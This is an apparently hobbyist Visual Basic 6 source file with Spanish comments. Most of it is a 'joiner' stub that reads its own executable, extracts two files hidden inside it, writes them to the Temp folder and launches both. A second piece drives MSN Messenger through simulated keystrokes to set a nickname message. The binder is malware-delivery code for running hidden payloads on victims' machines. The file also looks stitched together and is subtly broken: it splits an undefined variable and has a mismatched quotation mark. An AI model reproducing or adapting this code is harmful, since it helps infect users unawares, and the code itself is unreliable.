Option Explicit
'- Declara la Api ShellExecuteA
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub UserDocument_Initialize()

'- Se abre a si mismo
'- Se lee a si mismo
'- Se cierra
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Yo = Input(LOF(1), #1)
Close #1
'- Divide el archivo con la funcion Split usando las Firmas
'- descifra el primer archivo y lo guarda en la variable FI1
'- descifra el segundo archivo y lo guarda en la variable FI2
'- Saca la Extension del primer archivo y la guarda en la variable Xten1
'- Saca la Extension del segundo archivo y la guarda en la variable Xten2
'- Saca el Nombre del primer archivo y la guarda en la variable Nam1
'- Saca el Nombre del segundo archivo y la guarda en la variable Nam2
Yo2 = Split(stub, "Firma")
FI1 = StrReverse(Yo2(1))
FI2 = StrReverse(Yo2(2))
Xten1 = Yo2(3)
Xten2 = Yo2(4)
Nam1 = Yo2(5)
Nam2 = Yo2(6)
'- Crea el primer archivo "Joineado"
'- Imprime el primer archivo
'- Cierra
'- Crea el segundo archivo "Joineado"
'- Imprime el segundo archivo
'- Cierra
Open Environ("Temp") & "\" & Nam1 & "." & Xten1 For Output Access Write As #1
Print #1, , FI1
Close #1
Open Environ("Temp") & "\" & Nam2 & "." & Xten2 For Output Access Write As #1
Print #1, , FI2
Close #1
'- Ejecuta el primer archivo
'- Ejecuta el segundo archivo
ShellExecuteA Me.hWnd, "Open", Environ("Temp") & "\" & Nam1 & "." & Xten1, vbNullString, vbNullString, 1
ShellExecuteA Me.hWnd, "Open", Environ("Temp") & "\" & Nam2 & "." & Xten2, vbNullString, vbNullString, 1

End Sub

Private Sub Command1_Click()
Set MSN = New Messenger
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
Timer1.Interval = 150
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
SendKeys ("{TAB}")
SendKeys ("Aca el mensaje que quieras que lleve tu 2' nick mejor tu subnick "{ENTER}")
Timer1.Enabled = False
End Sub